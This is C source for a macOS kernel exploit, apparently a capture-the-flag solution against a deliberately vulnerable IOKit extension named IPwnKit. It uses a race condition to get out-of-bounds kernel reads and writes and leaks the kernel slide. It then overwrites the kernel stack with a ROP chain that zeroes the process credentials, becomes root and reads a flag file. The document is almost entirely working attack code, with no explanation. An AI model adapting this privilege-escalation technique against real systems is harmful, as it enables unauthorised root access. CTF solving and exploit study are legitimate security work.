1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <signal.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> #define kOpenUserClient 0 #define kCloseUserClient 1 #define kSayHi 2 #define kReadNum 3 #define kWriteNum 4 #define kFillArray 5 #define kIOKitClassName "io_oooverflow_IPwnKit" #define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL io_connect_t connection; kern_return_t OpenUserClient(void){ return IOConnectCallScalarMethod(connection,kOpenUserClient,0,0,0,0); } kern_return_t CloseUserClient(void){ return IOConnectCallScalarMethod(connection,kCloseUserClient,0,0,0,0); } kern_return_t SayHi(void){ return IOConnectCallScalarMethod(connection,kSayHi,0,0,0,0); } const char pattern[] = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY"; struct result{ int64_t idx; int64_t res; } out; struct args{ int64_t idx; int64_t res; int64_t reserved[100000]; } Args; pthread_t racer,racer2; void handler(void){ pthread_exit(0); } void Race2(int idx){ signal(SIGUSR1,handler); while(out.idx!=idx){ Args.idx=idx; Args.idx=0x4f; } pthread_exit(0); } int64_t ReadNum(int64_t idx){ Args.idx=idx; int64_t outCnt=2; assert(0==pthread_create(&racer2,0,Race2,idx)); kern_return_t kr; do{ kr = IOConnectCallMethod(connection,kReadNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); }while(kr||out.idx!=idx); return out.res; } int64_t WriteNum(int64_t idx,int64_t value){ Args.idx=idx; Args.res=value; int64_t outCnt=2; assert(0==pthread_create(&racer2,0,Race2,idx)); kern_return_t kr; do{ kr = IOConnectCallMethod(connection,kWriteNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); }while(kr||out.idx!=idx); return out.res; } kern_return_t FillArray(int64_t* array,int64_t len){ memcpy(&Args,array,len); kern_return_t kr=kIOReturnBadArgument; int64_t outCnt=1; do{ kr = IOConnectCallMethod(connection,kFillArray,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); }while(kr==kIOReturnBadArgument); return kr; } void IPwnConnect() { kern_return_t kr; mach_port_t masterPort; io_service_t serviceObject; io_iterator_t iterator; CFDictionaryRef classToMatch;
kr = IOMasterPort(MACH_PORT_NULL, &masterPort); if (kr != KERN_SUCCESS) { printf("IOMasterPort returned %d\n", kr); exit(-1); }
classToMatch = IOServiceMatching(kIOKitClassName); if (classToMatch == NULL) { printf("IOServiceMatching returned a NULL dictionary\n"); exit(-1); }
kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator); if (kr != KERN_SUCCESS) { printf("IOServiceGetMatchingServices returned %d\n", kr); exit(-1); }
serviceObject = IOIteratorNext(iterator); IOObjectRelease(iterator); if (!serviceObject) { printf("No service found\n"); exit(-1); }
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection); IOObjectRelease(serviceObject); if (kr != KERN_SUCCESS) { printf("IOServiceOpen returned %d\n", kr); exit(-1); } }// Thanks @LinusHenze uint64_t GetKextAddr() { FILE *fp; char line[4096];
fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r"); if(fp == NULL) { printf("Failed to get KEXT address!\n"); exit(-1); } fgets(line, sizeof(line)-1, fp); uint64_t addr = (uint64_t) strtoul(line, NULL, 16); fclose(fp); return addr; } int main(int argc, char *argv[]) { IPwnConnect(); OpenUserClient(); SayHi(); int64_t leaked = ReadNum(-30); int64_t slide = leaked-GetKextAddr()-0x2070; int64_t base = KERNEL_BASE_NO_SLID + slide; printf("[*] Kernel Text Base 0x%llx\n",base); printf("[*] Kernel Slide 0x%llx\n",slide); printf("[*] Corrupting copy length value with:%lld\n",WriteNum(-1,28LL<<32)>>32); puts("[*] Smashing the kernel stack for root"); unsigned long long ropchain[] ={//put this at offset 14*8 so we can check rbp for magic value 0xdeadbeecULL, slide + 0xFFFFFF8000964EB0, // 0xffffff80009c20c0,//current_proc slide + 0xffffff80002ad153, // 0xffffff800056eaf3,//pop rcx ; ret slide + 0xFFFFFF800081E5F0, // 0xffffff80008c3fb0,//proc_ucred slide + 0xffffff80009885d6, // 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx 0xdeadbeedULL, slide + 0xffffff80002ad153, // 0xffffff800056eaf3,//pop rcx ; ret slide + 0xFFFFFF80007DC350, // 0xffffff800088ab70,//posix_cred_get slide + 0xffffff80009885d6, // 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx 0xdeadbeeeULL, slide + 0xffffff8000a293ed, // 0xffffff8000a890cd, // mov qword ptr [rax + 8], 0 ; pop rbp ; ret 0xdeadbeefULL, slide + 0xFFFFFF8000221DCA, // 0xffffff800035adca//thread_exception_return }; int64_t* payload = malloc(224); memcpy(payload,pattern,224); memcpy(payload+14,ropchain,sizeof(ropchain)); FillArray(payload,224); CloseUserClient(); setuid(0); setuid(0); //system("/bin/sh"); system("cat /var/root/flag"); }
|